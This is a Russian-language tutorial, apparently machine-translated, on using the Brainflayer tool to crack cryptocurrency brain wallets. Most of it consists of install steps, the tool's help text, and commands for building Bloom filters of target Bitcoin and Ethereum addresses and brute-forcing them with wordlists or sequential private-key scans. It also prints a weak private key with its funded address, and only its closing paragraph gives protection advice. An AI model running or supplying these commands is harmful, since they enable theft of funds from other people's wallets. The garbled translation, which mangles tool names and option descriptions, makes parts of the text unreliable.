Brainflayer — это инструмент для взлома мозгового кошелька, проверенный концепцией и использующий libsecp256k1 для генерации открытых ключей. Первоначально он был выпущен как часть доклада DEFCON о взломе мозговых кошельков. Вышедшее видео доступно в конце статьи.

Многие исследователи заметили, что пользователи криптовалюты используют вероятные закрытые ключи для хранения своих биткойнов и эфириума. Brainflayer может отслеживать тысячи закрытых ключей за считанные секунды.Если вы знаете закрытый ключ, то у вас есть все биткойны и эфириумы в нем.

Blockchain-хакеры используют такие методы и украли в эфириуме более 50 миллионов долларов.

Что такое закрытый ключ?

Закрытый ключ в контексте Биткойн или Эфириума — это секретный номер, который позволяет тратить крипто-монеты. Каждый крипто-кошелек содержит один или несколько закрытых ключей, которые сохраняются в файле кошелька. Криптоадреса математически выводится из закрытых ключей.

Поскольку закрытый ключ — это «билет», который позволяет кому-либо тратить биткойны, важно, чтобы они хранились в секрете и были в безопасности. Закрытые ключи могут храниться в компьютерных файлах, но также часто записываются на бумаге.

Закрытый ключ биткойна — это 256-битное число. Пример в шестнадцатеричном является следующим:

 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8 

Из приведенного выше закрытого ключа математически получены следующие публичные адреса:

 16ga2uqnF1NqpAuQeeg7sTCAdtDUwDyJav # Похоже, что адрес использовался в последнее время в 2019-03-13
16qVRutZ7rZuPx7NMtapvZorWYjyaME2Ue ​​

Если вас больше интересует математика, стоящая за биткойнами, посмотрите статью Хакерноуна о криптографии на эллиптических кривых.

Сами личные ключи почти никогда не обрабатываются пользователем, вместо этого пользователю обычно дается начальная фраза, которая кодирует ту же информацию, что и личные ключи.

Фраза Семени Эфириума

Что такое Brainwallet?

Мозговой кошелек — это стандартный кошелек, в котором закрытый ключ и относительные публичные адреса создаются хэшированной парольной фразой. Алгоритм SHA-256 регулярно используется мозговыми кошельками, поскольку он генерирует 256-битную строку, которая является точным размером в качестве закрытого ключа биткойна.

Биткойн-генератор мозгового кошелька

В приведенном выше генераторе мозгового кошелька слово «пароль» используется в качестве секретной парольной фразы. Уже упоминалось, что биткойн-адрес: 16ga2uqnF1NqpAuQeeg7sTCAdtDUwDyJav используется в последнее время, и в общей сложности он получил 0,356 BTC.

Хешированный SHA256 «пароль» Биткойн-адрес

Очевидно, что вы не должны использовать мозговые кошельки с семенными фразами, которые генерирует человек.

Bruteforce может взломать даже самые сложные сгенерированные человеком парольные фразы.

Список самых известных мозговых кошельков:

Как установить Brainflayer

Следующие команды могут быть использованы для установки мозга и требуемых зависимостей на Kali или Ubuntu.

 # apt-get install git
#git clone https://github.com/ryancdotorg/brainflayer.git
# apt-get install openssl
# apt-get install libgmp3-dev
# apt-get install libimobiledevice-dev libplist-dev libusbmuxd-dev libssl-dev zlib1g-dev
# apt-get install dh-autoreconf
#cd brainflayer /
#make 

Обработка ошибок компиляции

Многие люди обеспокоены ошибками компиляции.$ (LIBS) -o $ @

Человек из Brainflayer

Когда все скомпилировано, запустите флаг -h для просмотра списка доступных параметров работы.

 root @ lab: / # brainflayer -h
Использование: мозговой промах [ОПЦИЯ] ...

 - открыть выходной файл в режиме добавления
 -b ФАЙЛ проверяет совпадения с фильтром Блума ФАЙЛ
 -f ФАЙЛ проверяет совпадения с отсортированными hash260s в ФАЙЛЕ
 -i ФАЙЛ читать из ФАЙЛА вместо стандартного ввода
 -o ФАЙЛ записать в ФАЙЛ вместо стандартного вывода
 -c ТИПЫ используют ТИПЫ для открытого ключа для вычисления hash260
                             можно указать несколько, например, по умолчанию
                             is 'uc', который проверит оба несжатых
                             и сжатые адреса с использованием алгоритма Биткойн
                             u - несжатый адрес
                             c - сжатый адрес
                             адрес электронной почты
                             x - старшие значащие биты координаты x
 -t TYPE-входы - TYPE-поддерживаемые типы:
                             sha256 (по умолчанию) - классический мозговой кошелек
                             sha3 - sha3-256
                             priv - необработанные закрытые ключи (требуется -x)
                             Деформация - WarpWallet (поддерживает -s или -p)
                             bwio - мозговой кошелекIO (поддерживает -s или -p)
                             bv2 - brainv2 (поддерживает -s или -p) ОЧЕНЬ МЕДЛЕННО
                             Rush - Rushwallet (требуется -r) БЫСТРО
                             keccak - keccak256 (ethercamp / старый этадресс)
                             camp2 - keccak256 * 2031 (новый ethercamp)
 -x обрабатывать ввод как закодированный в шестнадцатеричном формате
 -s СОЛЬ использовать СОЛЬ для соленых типов ввода (по умолчанию: нет)
 -p PASSPHRASE использовать PASSPHRASE для соленых типов входов, входов
                             будет рассматриваться как соли
 -r ФРАГМЕНТ использовать ФРАГМЕНТ для взлома парольной фразы Rushwallet
 -I HEXPRIVKEY добавочный режим взлома приватного ключа, начиная
                             на HEXPRIVKEY (поддерживает -n) FAST
 -k K пропустить первые K строк ввода
 -n K / N использовать только Kth из каждых N строк ввода
 -B размер партии для аффинных преобразований
                             должно быть степенью 2 (по умолчанию / максимум: 4096)
 -w WINDOW_SIZE размер окна для таблицы ecmult (по умолчанию: 16)
                             при запуске использует около 3 * 2 ^ Вт памяти KiB, но
                             только около 2 ^ Вт КиБ после построения таблицы
 -m ФАЙЛ загрузить таблицу результатов из ФАЙЛА
                             инструмент ecmtabgen может создать такую ​​таблицу
 -v verbose - отображать прогресс взлома
 -h показать эту помощь 

Создать фильтр Блума

Согласно Википедии, фильтр Блума - это экономичная по пространству структура вероятностных данных, которая используется для проверки существования элемента в наборе.Ложноположительные совпадения возможны, а ложные отрицания - нет. В нашем случае существует очень небольшая вероятность того, что промах мозгов вернет взломанный кошелек, который на самом деле не взломан.

Следующим шагом является создание фильтра Блума. Требуется файл, в котором указан один биткойн-адрес на строку. Затем адреса должны быть преобразованы в адреса Hash260. Наконец, выполните следующую команду:

 $ hex2blf btcaddress.hex btcaddress.blf
 

Для создания фильтра Эфириума Блума преобразование hash260 не требуется.

Взломать Биткойн через Wordlist

После создания фильтра Блума все готово для грубого применения. Хватай свой самый длинный список слов и атакуй! Следующие команды являются наиболее распространенными:

 $ brainflayer -v -b btc.blf -i wordlist.txt
$ brainflayer -t sha3 -v -b btc.blf -i wordlist.txt
$ brainflayer -t bwio -v -b btc.blf -i wordlist.txt
 

Алгоритм sha256 является параметром по умолчанию.

Crack Ethereum с помощью Wordlist

Аналогично, наиболее распространенные варианты взлома для эфириума следующие:

 $ мозговой истребитель -t sha3 -c e -v -b eth.blf -i wordlist.txt
$ brainflayer -t keccak -c e -v -b eth.blf -i wordlist.txt
$ brainflayer -t sha256 -c e -v -b eth.blf -i wordlist.txt
 

Параллельное растрескивание

Brainflayer не поддерживает многопоточную функциональность. Для параллельного взлома вы должны запустить несколько экземпляров с другим параметром -n .

 $ brainflayer -v -n 1/3 -b btc.blf -i password.txt
$ brainflayer -v -n 2/3 -b btc.blf -i password.txt
$ brainflayer -v -n 3/3 -b btc.blf -i password.txt
 

Сканер личных ключей

Brainflayer поддерживает взлом через инкрементные закрытые ключи с опцией -I . Этот метод очень быстрый. Одно современное ядро ​​может сканировать более 700 000 закрытых ключей в секунду.

 $ brainflayer -c e -v -b eth.blf -I 0000000000000000000000000000000000000000000000000000000000000000000000000001
 

Brainflayer Def Con Video

Если вы по-прежнему не удовлетворены, проверьте дополнительную информацию о видео.

Brainflayer и Windows 10

Короче говоря, brainflayer - это инструмент, разработанный для операционной системы Linux. Существует возможность запустить мозговой проигрыватель в Windows с WSL-Kali Linux. Если вы заинтересованы в том, как установить и настроить WSL-Kali в Windows, нажмите здесь.

Процесс установки brainflayer на WSL-Kali аналогичен обычному Kali.

Как защитить свой мозговой кошелек

Самый простой способ защитить себя - не использовать мозговые кошельки.Если вы все еще хотите использовать один, то вы должны использовать в качестве входных данных большое сложное случайное негенерированное семя. Более того, вы должны убедиться, что мозговому кошельку доверяют и используют лучшие алгоритмы хеширования (SHA256, SHA512 и т. Д.) Несколько раз, чтобы хэшировать ваши начальные числа.

И последнее, но не менее важное: пользователи никогда не должны создавать или использовать неслучайный закрытый ключ биткойнов.

,